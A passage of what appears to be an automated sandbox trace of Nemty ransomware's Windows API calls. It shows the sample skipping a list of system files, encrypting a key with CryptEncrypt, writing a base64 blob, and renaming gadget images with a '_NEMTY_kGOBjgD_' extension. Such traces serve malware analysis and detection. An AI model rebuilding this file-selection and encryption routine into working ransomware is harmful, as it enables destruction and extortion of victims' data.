lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.699] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.699] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340250, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.699] CloseHandle (hObject=0xffffffff) returned 0 [0165.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403c0 [0165.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.699] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340478 [0165.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_foggy.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_foggy.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_foggy.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_foggy.png._nemty_kgobjgd_")) returned 0 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0165.699] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.699] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cabb00, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86cabb00, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x30c2945b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7aae, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_black_hail.png", cAlternateFileName="")) returned 1 [0165.699] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2=".") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="..") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="...") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="windows") returned -1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="$RECYCLE.BIN") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="rsa") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="NTDETECT.COM") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="ntldr") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="MSDOS.SYS") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="IO.SYS") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="boot.ini") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="boot.ini") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="AUTOEXEC.BAT") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="ntuser.dat") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="desktop.ini") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="CONFIG.SYS") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="RECYCLER") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="BOOTSECT.BAK") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="bootmgr") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="programdata") returned 1 [0165.700] lstrcmpiW (lpString1="undocked_black_hail.png", lpString2="appdata") returned 1 [0165.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0165.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_hail.png", lpUsedDefaultChar=0x0) returned 23 [0165.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0165.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0165.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_hail.png", lpUsedDefaultChar=0x0) returned 23 [0165.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0165.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0165.700] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0165.700] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0165.700] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_hail.png", lpUsedDefaultChar=0x0) returned 23 [0165.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0165.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0165.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0165.701] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_black_hail.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_black_hail.png", lpUsedDefaultChar=0x0) returned 23 [0165.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0165.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0165.701] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0165.701] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0165.701] Sleep (dwMilliseconds=0x5) [0165.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x166bf350, dwHighDateTime=0x1d561e8)) [0165.717] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x166bf350, dwHighDateTime=0x1d561e8)) [0165.717] GetLastError () returned 0x5 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0165.717] GetLastError () returned 0x5 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0165.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.717] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0165.717] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0165.717] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0165.717] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="kKQ36fsqVotpmE/FbJ3YsjWOwr1iMnO5UfXqsLB/RZZdV5tc+SObRY63HiPcmjU4\r\nyDbKd4IqqA/j3ZE0UU84G5UupqY9GttvrOBmyPnv05CqPfiSakkYhqrSMgvT6YaQ\r\nZqeVrO40mqwICi4m5vrlt23LERj1ByenWnHQ/d29HsJzgvq8snGoTW4mEJiL6aQg\r\nZ96X3FH95rkgoLRUBXQx5M408ojCJr2LltIaaHEEN3v6F/ULBQKKpKbEJRFs5d/A\r\no6yJzCDUqNnsLxwQBOQqhpn/igR9LSxAAjzvCv3s5zuXD1XavPlLp90HX8ymAjQf\r\nt85FLYr2vdEEzcEC1qrvkw==\r\n", pcchString=0x653e91c) returned 1 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0165.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0165.717] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0165.717] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0165.717] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_hail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0165.718] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0165.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0165.718] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.718] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.727] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.783] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.783] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.792] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.792] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.792] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.801] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.801] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.811] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.820] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.820] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.820] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.826] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.826] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.826] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0165.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0165.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0165.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0165.832] CloseHandle (hObject=0xffffffff) returned 0 [0165.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0165.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0165.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0165.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0165.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0165.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0165.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0165.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0165.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0165.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0165.833] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_hail.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_black_hail.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_black_hail.png._nemty_kgobjgd_")) returned 0 [0165.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: 